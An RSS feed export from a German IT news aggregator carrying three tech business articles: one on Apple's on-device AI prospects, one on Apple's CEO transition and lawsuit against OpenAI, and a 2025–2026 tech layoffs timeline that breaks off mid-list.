<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=whats+coming%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Thu, 30 Jul 2026 14:33:03 +0200</lastBuildDate>
<pubDate>Thu, 30 Jul 2026 14:33:03 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>

<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=whats+coming%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[Apple could ‘run the table’ on AI if it does things right]]></title>
<description><![CDATA[Looking ahead just a short time, Apple could hold a powerful position in AI where it most makes sense: deployment.



Not only will the company offer up its own AI models for the kind of tasks millions use ChatGPT to do today, but it will provide more sophisticated on-device agentic models to hel...]]></description>
<link>https://tsecurity.de/de/3694780/ai-nachrichten/apple-could-run-the-table-on-ai-if-it-does-things-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694780/ai-nachrichten/apple-could-run-the-table-on-ai-if-it-does-things-right/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Looking ahead just a short time, Apple could hold a powerful position in AI where it most makes sense: deployment.</p>



<p class="wp-block-paragraph">Not only will the company offer up its own AI models for the kind of tasks millions use ChatGPT to do today, but it will provide more sophisticated on-device agentic models to help users get things done through Siri AI.</p>



<p class="wp-block-paragraph">Apple also <a href="https://www.macobserver.com/news/apple-calls-its-new-assistant-siri-ai-at-wwdc-2026-gemini-partnership-now-official/" target="_blank" rel="noreferrer noopener">offers limited capacity for more complex tasks</a> through <a href="https://www.applemust.com/apple-commences-us-manufacturing-of-private-cloud-compute-servers/" target="_blank" rel="noreferrer noopener">Private Cloud Compute</a>, and, in partnership with the likes of Google in the US and Alibaba in China, the company is giving users a trusted conduit through which to access even more sophisticated AI services. </p>



<h2 class="wp-block-heading"><strong>Deeply deployable</strong></h2>



<p class="wp-block-paragraph">Critics can say it <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">took Apple a long time</a> to get to this point, but they also seem to think the company has finally got the mix right with its series 27 operating systems. Arriving late to a party <a href="https://www.computerworld.com/article/4164979/apple-will-be-behind-on-ai-until-it-isnt.html">doesn’t mean you won’t shine once you get there</a>.</p>



<p class="wp-block-paragraph">Apple is also coming up the inside lane around frontier AI, with iterative OS and hardware enhancements that mean its devices become increasingly effective for <a href="https://www.computerworld.com/article/4016798/why-i-hope-apple-keeps-investing-in-on-device-ai.html">Edge AI use cases</a>, on device — no cloud service required.</p>



<p class="wp-block-paragraph">The company appears to be digging down into those use cases. Mark Gurman at Bloomberg recently predicted that <a href="https://www.tomshardware.com/tech-industry/semiconductors/apples-rumored-m7-ultra-targets-1-5tb-of-memory-and-blackwell-class-ai" target="_blank" rel="noreferrer noopener">future M7 Ultra Macs</a> will support as much as 1.5TB RAM, making these systems more than capable of running full weight frontier models in people’s offices, colleges, and homes. </p>



<p class="wp-block-paragraph">While that does assume the <a href="https://www.computerworld.com/article/4187825/the-trillion-dollar-ai-hallucination.html">AI-flationary memory market</a> can supply that much RAM at prices humans can afford, it is also true that people are already <a href="https://www.computerworld.com/article/4092162/apples-macos-ai-for-the-rest-of-us.html">running AI clusters</a> using off-the-shelf Mac minis networked over Thunderbolt cables. It’s no stretch to believe <a href="https://www.applemust.com/macweb-now-offers-mac-mini-cloud-clusters-in-east-coast-data-centre/" target="_blank" rel="noreferrer noopener">this will continue to be the case</a>, and that it will even broaden as the power/performance offered at the high end grows.</p>



<h2 class="wp-block-heading"><strong>What’s wrong with good enough?</strong></h2>



<p class="wp-block-paragraph">When combined with open AI stacks, particularly newly emerging varieties, Apple’s platforms should become leading contenders for <a href="https://www.computerworld.com/article/4074648/apples-big-bang-ai-moment-is-approaching.html">private AI services</a> and edge AI. Many business users will leap at the chance to offer their workers powerful, self-hosted, private AI services using one or more daisy-chained Mac Studios or Mac minis. The recent craze in deployment of both Macs to support <a href="https://openclaw.ai/" target="_blank" rel="noreferrer noopener">OpenClaw</a> instances shows they already are.</p>



<p class="wp-block-paragraph">Ultimately, these different slices of momentum mean I agree with <a href="https://podcastalpha.substack.com/p/all-in-can-ai-regulate-itself-stripe" target="_blank" rel="noreferrer noopener">investor Jason Calacanis</a> that Apple is in position to apply a great deal of pressure on OpenAI and Claude just by putting models on their devices. </p>



<p class="wp-block-paragraph">It’s also worth thinking about how people use AI today. How many of the queries made in the world right now constitute relatively simple tasks that could be transacted by on-device AI, such as the emerging new version of Apple Intelligence or even smaller LLM models running on device? You can even run <a href="https://9to5mac.com/2026/07/14/prismml-releases-bonsai-27b-claiming-first-major-ai-model-of-its-size-fit-for-iphone/" target="_blank" rel="noreferrer noopener">PrismML’s 1-bit, 27-billion parameter Bonsai</a> on an iPad using the Locally app, and that’s in the here and now.</p>



<p class="wp-block-paragraph">What happens? Pretty soon you’ll find people recognize that they can already run the vast majority of their AI-augmented workflows using services they <a href="https://www.applemust.com/morgan-stanley-its-when-not-if-apple-will-deliver-ai-on-the-edge/" target="_blank" rel="noreferrer noopener">have on their existing device</a> or can access on their on-prem Mac set-ups. And, of course, as people get used to running small tasks locally and larger tasks on premises, the actual space in which they need to turn to cloud-based frontier models <a href="https://www.computerworld.com/article/4195657/apple-is-prepping-for-life-after-the-ai-gold-rush.html">will erode</a>. That’s even as companies like PrismML work towards slimming down full-weight models so they don’t need to run on a server at all. </p>



<p class="wp-block-paragraph">“It’s going to be wild when people have unlimited tokens on their desks,” said Calacanis in a podcast round table discussion.</p>



<h2 class="wp-block-heading"><strong>Who has the most to lose?</strong></h2>



<p class="wp-block-paragraph">The current incarnations of AI felt like they came from nowhere. Most people weren’t aware of the technology until returning to work after the 2022 holiday season. Since then, the industry has proliferated with dozens of competing models, most recently including powerful but affordable frontier models such as Qwen and Kimi.ai.</p>



<p class="wp-block-paragraph">These models aren’t necessarily all as good as one another, but in many cases for much of what we do, we’ll find them to be good enough. That’s an existential crisis for some, as industry observers now think the inevitable pricing pressure means some services might have over-invested in capacity before finding any way to turn a profit.</p>



<p class="wp-block-paragraph">Those profit-seeking services are the ones with the most to lose as Apple extends its hardware advantage, democratizing AI access for all while providing platforms suitable for edge AI, on-premises AI, private AI, and even AI access using third-party services. (The need for the latter will shrink as the capabilities of the former get better.)</p>



<h2 class="wp-block-heading"><strong>Cupertino rising</strong></h2>



<p class="wp-block-paragraph">What does this all mean? While the industry remains young, it is already fragmenting. And striding through the dust of that process comes Apple, equipped with the hardware, software, and approach to build its business even as the enterprise of first mover AI services erodes. </p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to my daily Apple-related news summaries at <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple and the changing of the guard]]></title>
<description><![CDATA[As Apple gears up to anoint John Ternus the new company CEO in September (while current leader Tim Cook takes a seat on the board) the company appears to be firing on all cylinders ahead of the leadership transition. 



What’s going well



Just look at the evidence: 




Apple is building marke...]]></description>
<link>https://tsecurity.de/de/3694776/ai-nachrichten/apple-and-the-changing-of-the-guard/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694776/ai-nachrichten/apple-and-the-changing-of-the-guard/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:11 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">As Apple gears up to <a href="https://www.computerworld.com/article/4161377/with-john-ternus-as-ceo-expect-apples-platforms-to-proliferate.html">anoint John Ternus</a> the new company CEO in September (while current leader Tim Cook <a href="https://www.apple.com/uk/newsroom/2026/04/tim-cook-to-become-apple-executive-chairman-john-ternus-to-become-apple-ceo/" target="_blank" rel="noreferrer noopener">takes a seat on the board</a>) the company appears to be firing on all cylinders ahead of the leadership transition. </p>



<h2 class="wp-block-heading"><strong>What’s going well</strong></h2>



<p class="wp-block-paragraph">Just look at the evidence: </p>



<ul class="wp-block-list">
<li>Apple is building market share across its entire product range; even memory-driven price inflation doesn’t seem to have dampened demand for its hardware yet.</li>



<li>While Apple had to raise prices, the company’s MacBook Neo remains seriously popular. It’s sitting atop <a href="https://www.amazon.com/Best-Sellers-Laptop-Computers/zgbs/electronics/565108" target="_blank" rel="noreferrer noopener">Amazon’s US best-selling chart</a>, which currently includes six Macs in the top 10. The Neo has <a href="https://www.computerworld.com/article/4180406/after-a-quick-1-1m-sales-macbook-neo-set-to-reshape-the-pc-industry.html" target="_blank">topped this chart</a> since its introduction.</li>



<li>Apple’s iPhone 17 series continues to sell well, with recent market data showing sustained growth. Both <a href="https://counterpointresearch.com/en/insights/china-smartphone-shipments-slip-2-percent-yoy-in-q2-2026">Counterpoint</a> and <a href="https://www.applemust.com/apple-bucks-the-trend-in-china-with-iphone/">IDC</a> tell us that iPhone shipments continue to increase, even as other vendor shipments slide.</li>



<li>IDC analyst Francisco Jeronimo <a href="https://thecorenews.substack.com/p/the-core-appletldr-july-20">recently estimated</a> that Apple’s upcoming foldable iPhone Ultra could grab 29.4% of global folding smartphone sales this year, rising to 34.9% in 2027.</li>



<li>The company’s new <a href="https://www.computerworld.com/article/4188961/these-apple-os-betas-are-just-what-the-believers-wanted.html">27 series of operating systems</a> is attracting a great response as beta testers report that it is already solid, stable, and performing well.</li>



<li>The AI narrative has really changed, with analysts no longer <a href="https://www.computerworld.com/article/4198808/apple-could-run-the-table-on-ai-if-it-does-things-right.html">quite so starry-eyed</a> at the prospects for the big frontier AI firms. Apple’s edge-AI-enabling approach is winning converts.</li>
</ul>



<h2 class="wp-block-heading"><strong>What’s coming up</strong></h2>



<p class="wp-block-paragraph">The company’s <a href="https://www.computerworld.com/article/4198342/apple-widens-openai-trade-secrets-fight-with-preservation-orders.html">newly-filed lawsuit against OpenAI</a> may or may not succeed, but it will certainly help consolidate recognition of the importance of Apple’s designs and intellectual property in whatever hardware emerges from the AI firm. It also means both Apple and OpenAI are already competing in hardware, even though neither company yet offers anything that directly challenges the other. </p>



<p class="wp-block-paragraph">Apple has just set out its stall to brand-loyal fans in a big way and did so before OpenAI gets to woo the same set of customers with a wriggle of its <a href="https://www.computerworld.com/article/3992592/jony-ive-and-openai-plan-bicycles-for-21st-century-minds.html">Jony Ive-tinged talisman</a>.</p>



<p class="wp-block-paragraph">The stage is set for intense competition between the two. Though some say Apple’s needs to improve  employee retention, if it does find proof of efforts to use recruitment to engage in industrial espionage, it’ll be easier to represent its own products as being the OG for new hardware. </p>



<p class="wp-block-paragraph">If nothing else, it means consumers will forever be asking, “If OpenAI’s designers are so good, why did it need to poach them from Apple?” Doubt is a weapon.</p>



<h2 class="wp-block-heading"><strong>Managing perception</strong></h2>



<p class="wp-block-paragraph">It doesn’t matter how the case goes, because there fight is already affecting consumer psychology. It also means that as Ternus prepares to take his seat atop the rainbow-colored Apple throne, we can already size him up. “A man is measured by his enemies,” Joe Abercrombie wrote in “The Trouble With Peace.”</p>



<p class="wp-block-paragraph">Given the proximity of the leadership transition, it’s highly probable that Ternus signed-off on the litigation; in doing so he — and Apple — tell us to expect more of the same. </p>



<p class="wp-block-paragraph">Apple has, rightly or wrongly, decided that OpenAI will become its new existential bugbear, following in the footsteps of Microsoft Windows, Real Networks, Adobe Flash, Android, and Samsung, all of whom have been useful foils against which Apple has been able to build and maintain its identity.</p>



<p class="wp-block-paragraph">Looking at that list, you’d be tempted to believe that nothing much is new. Apple has often defined itself by the enemies it sometimes keeps. What has been will be again, which in this case means even as OpenAI attempts to carve out an identity as a hardware manufacturer delivering solutions to compete with Apple and Google, Ternus’ team’s looks to drive a consensus-shaped wedge into the pro-LLM propaganda. </p>



<p class="wp-block-paragraph">That blow comes as Apple <a href="https://www.computerworld.com/article/4198808/apple-could-run-the-table-on-ai-if-it-does-things-right.html">finally gets its act together around AI</a>, and as the company prepares for a future in which the world’s most-used wearable device also becomes the wearable way to woo Siri AI.</p>



<h2 class="wp-block-heading"><strong>My kingdom come</strong></h2>



<p class="wp-block-paragraph">Rising market share, powerful solutions, an increasingly recognized and respected approach to AI, and an ideological crusade — these details constitute Apple’s place today and are Tim Cook’s coronation gift to Ternus. He’s passing along a strong and hyper-profitable baton that screams of timeliness and relevance even as the company gets set, ready, to go with a year or two of new product designs, new product families, and a <a href="https://www.computerworld.com/article/4104139/the-stage-is-being-set-for-20-years-of-iphone.html">20<sup>th</sup>anniversary iPhone</a>.</p>



<p class="wp-block-paragraph">This is Apple’s party. OpenAI’s name didn’t make the list. </p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tech layoffs: A 2026 timeline]]></title>
<description><![CDATA[Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented ev...]]></description>
<link>https://tsecurity.de/de/3694770/ai-nachrichten/tech-layoffs-a-2026-timeline/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694770/ai-nachrichten/tech-layoffs-a-2026-timeline/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:08 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.</p>



<p class="wp-block-paragraph">But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.</p>



<p class="wp-block-paragraph">According to data compiled by <a href="https://layoffs.fyi/" target="_blank" rel="noreferrer noopener">Layoffs.fyi</a>, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.</p>



<p class="wp-block-paragraph">Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.</p>



<h2 class="wp-block-heading">Notable tech layoffs in 2026</h2>



<ul class="wp-block-list">
<li>Monday.com</li>



<li>Microsoft</li>



<li>Meta</li>



<li>Cisco</li>



<li>Cloudflare</li>



<li>Oracle</li>



<li>Atlassian </li>



<li>Salesforce</li>



<li>Amazon</li>



<li>Ericsson</li>
</ul>



<h3 class="wp-block-heading">July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era</h3>



<p class="wp-block-paragraph">The company says the decision to <a href="https://www.computerworld.com/article/4200349/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era-2.html">cut 620 jobs</a> isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.</p>



<h3 class="wp-block-heading">July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams</h3>



<p class="wp-block-paragraph">As the company <a href="https://www.computerworld.com/article/4193532/microsoft-bets-that-enterprise-ai-needs-engineers-not-bigger-sales-teams-2.html" target="_blank">trims thousands of jobs</a>, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees <a href="https://www.computerworld.com/article/4163188/microsoft-to-offer-voluntary-retirement-buyouts-to-about-7-of-the-us-workforce.html">voluntary retirement buyouts</a>.</p>



<h3 class="wp-block-heading">June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024</h3>



<p class="wp-block-paragraph">AI was blamed for 40% of <a href="https://www.computerworld.com/article/4181822/tech-industry-cut-38242-jobs-in-may-worst-since-2024.html">the job cuts in May</a>, up from 7% in January, according to research by employment placement company Challenger, Gray &amp; Christmas.</p>



<h3 class="wp-block-heading">May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce</h3>



<p class="wp-block-paragraph">The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, <a href="https://tech.yahoo.com/general/article/meta-starts-cutting-8000-jobs-as-part-of-previously-announced-layoffs-145220586.html" target="_blank" rel="noreferrer noopener">according to Yahoo Tech</a>.</p>



<h3 class="wp-block-heading">May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking</h3>



<p class="wp-block-paragraph">Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will <a href="https://www.networkworld.com/article/4171043/cisco-to-cut-nearly-4000-jobs-despite-strong-growth-in-ai-enterprise-networking.html" target="_blank">eliminate almost 4,000 jobs</a>.</p>



<h3 class="wp-block-heading">May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring</h3>



<p class="wp-block-paragraph">About <a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-cut-over-1-100-204726989.html" target="_blank" rel="noreferrer noopener">20% of Cloudflare’s global workforce will be culled</a> as the company pivots for the agentic AI era, Reuters reported.</p>



<h3 class="wp-block-heading">April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4153113/oracle-cuts-up-to-30000-jobs-globally-putting-enterprise-support-and-roadmaps-at-risk.html">Oracle began laying off employees</a> on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. <em>(Note: in June, CNBC put the <a href="https://www.cnbc.com/2026/06/23/oracle-ai-job-cuts-layoffs-21000.html" target="_blank" rel="noreferrer noopener">final layoff tally at 21,000</a>.)</em></p>



<h3 class="wp-block-heading">March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4144218/atlassian-cuts-1600-jobs-to-fund-ai-and-enterprise-expansion.html">Atlassian will reduce its global workforce</a> by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.</p>



<h3 class="wp-block-heading">March 11, 2026: Tech layoffs surpass 45,000 in early 2026</h3>



<p class="wp-block-paragraph">A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing <a href="https://www.networkworld.com/article/4143749/tech-layoffs-surpass-45000-in-early-2026.html" target="_blank">workforce cuts even as many tech companies report strong revenue growth</a>.</p>



<h3 class="wp-block-heading">February 10, 2026: Salesforce lays off staffers as executive leadership churn continues</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4130028/salesforce-lays-off-staffers-as-executive-leadership-churn-continues.html" target="_blank">Salesforce has reduced close to 1,000 roles</a> earlier this month across teams, including marketing, product management, data analytics, and its <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html">Agentforce</a> AI unit, <a href="https://www.businessinsider.com/salesforce-cuts-jobs-executive-changes-2026-2">Business Insider</a> reported, quoting employees familiar with the matter.</p>



<h3 class="wp-block-heading">January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent</h3>



<p class="wp-block-paragraph">As the market slows down, <a href="https://www.computerworld.com/article/4121653/amazon-layoffs-expected-to-disproportionately-hit-aws-and-tech-talent.html">AWS and other Amazon units are preparing for another round of layoffs</a>, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 <a href="https://www.computerworld.com/article/4123477/amazon-confirms-16000-job-cuts-including-to-aws.html">confirmed 16,000 job cuts</a>.</p>



<h3 class="wp-block-heading">January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden</h3>



<p class="wp-block-paragraph"> Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, <a href="https://www.reuters.com/business/world-at-work/ericsson-shed-1600-jobs-sweden-2026-01-15/" target="_blank" rel="noreferrer noopener">Reuters reports</a>.</p>



<h3 class="wp-block-heading">January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business</h3>



<p class="wp-block-paragraph">Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, <a href="http://meta%20plans%20to%20cut%20around%2010%25%20of%20employees%20in%20reality%20labs%20business/" target="_blank" rel="noreferrer noopener">according to The New York Times</a>.</p>



<h2 class="wp-block-heading">Layoffs in 2025</h2>



<ul class="wp-block-list">
<li>Cisco</li>



<li>Oracle</li>



<li>Windsurf</li>



<li>Intel</li>



<li>Microsoft</li>



<li>Crowdstrike</li>



<li>HPE</li>



<li>Autodesk</li>



<li>HPE</li>



<li>CISA</li>



<li>Workday</li>



<li>Salesforce</li>



<li>Meta</li>
</ul>



<h3 class="wp-block-heading">Global tech-sector layoffs surpass 244,000 in 2025</h3>



<p class="wp-block-paragraph">Economic uncertainty, elevated interest rates, and AI adoption have <a href="https://www.networkworld.com/article/4114572/global-tech-sector-layoffs-surpass-244000-in-2025.html" target="_blank">driven workforce reductions across tech companies worldwide</a>, according to a RationalFX report.</p>



<h3 class="wp-block-heading">October 28, 2025: Amazon to cut 14,000 jobs across company</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4080142/amazon-to-cut-14000-jobs-across-company.html">Amazon will reduce its overall workforce</a> by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.</p>



<h3 class="wp-block-heading">August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs</h3>



<p class="wp-block-paragraph">Tech companies Cisco and Oracle are <a href="https://www.sfchronicle.com/tech/article/cisco-oracle-layoffs-bay-area-20824135.php" target="_blank" rel="noreferrer noopener">cutting hundreds of jobs across the Bay Area</a>. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date </p>



<h3 class="wp-block-heading">August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door</h3>



<p class="wp-block-paragraph">Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, <a href="https://www.theinformation.com/articles/cognition-offers-buyouts-newly-acquired-windsurf-staff" target="_blank" rel="noreferrer noopener">reports The Information</a>.</p>



<h3 class="wp-block-heading">July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4028896/intel-to-lay-off-22-of-workforce-as-ceo-tan-signals-no-more-blank-checks.html">Intel will reduce its workforce to 75,000 employees</a> by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker</p>



<h3 class="wp-block-heading">July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs</h3>



<p class="wp-block-paragraph">Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect <a href="https://www.oregonlive.com/silicon-forest/2025/07/intel-layoffs-begin-chipmaker-is-cutting-many-thousands-of-jobs.html">major layoffs at Intel </a>in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales. </p>



<h3 class="wp-block-heading">July 2, 2025: Microsoft will cut 9,000 workers</h3>



<p class="wp-block-paragraph">Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut <a href="https://www.nbcnews.com/business/business-news/microsoft-laying-9000-employees-latest-cuts-rcna216553">told CNBC</a>.  The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.</p>



<h3 class="wp-block-heading">June 17, 2025: Intel looks to factory layoffs to return to profitability</h3>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4008670/can-intel-cut-its-way-to-profit-with-factory-layoffs.html">Intel will lay off up to 20% of its manufacturing sector employees</a> starting in July,  according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.</p>



<h3 class="wp-block-heading">May 7, 2025: CrowdStrike to lay off 5% of staff</h3>



<p class="wp-block-paragraph"><a href="https://www.reuters.com/sustainability/crowdstrike-lay-off-5-staff-reaffirms-forecasts-2025-05-07/">CrowdStrike announced a plan to cut about 500 roles</a>, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs</p>



<h3 class="wp-block-heading">March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy</h3>



<p class="wp-block-paragraph">CEO Antonio Neri told Wall Street analysts that <a href="https://www.networkworld.com/article/3840596/hpe-cuts-2500-workers-expects-juniper-buy-to-close-end-of-25-faces-tariff-issues.html">HPE would begin implementing a cost-cutting program involving layoffs </a>of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.</p>



<h3 class="wp-block-heading">Feb. 27, 2025: Autodesk to lay off 9% of workforce</h3>



<p class="wp-block-paragraph">Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, <a href="https://adsknews.autodesk.com/en/news/022725-employee-message/">CEO Andrew Anagnost said in a message to employees</a>. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there. </p>



<h3 class="wp-block-heading">Feb. 27, 2025: HP to lay off 2,000 more</h3>



<p class="wp-block-paragraph">As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by <a href="https://www.pcworld.com/article/2617767/hp-forced-callers-to-wait-15-minutes-before-connecting-to-support-staff.html">forcing callers to wait for at least 15 minutes</a> if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on. </p>



<h3 class="wp-block-heading">Feb. 21, 2025: <a href="https://www.csoonline.com/article/3829710/firing-of-130-cisa-staff-worries-cybersecurity-industry.html">CISA lays off 130</a></h3>



<p class="wp-block-paragraph">Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.</p>



<h3 class="wp-block-heading">Feb. 5, 2025: <a href="https://www.computerworld.com/article/3817887/workday-to-cut-1750-jobs-shift-focus-to-ai-and-global-expansion.html">Workday lays off 1,750</a></h3>



<p class="wp-block-paragraph">As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.</p>



<h3 class="wp-block-heading">Feb. 4, 2025: Salesforce lays off over 1,000</h3>



<p class="wp-block-paragraph">At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.</p>



<h3 class="wp-block-heading">Jan. 14, 2025: Meta will lay off 5% of workforce</h3>



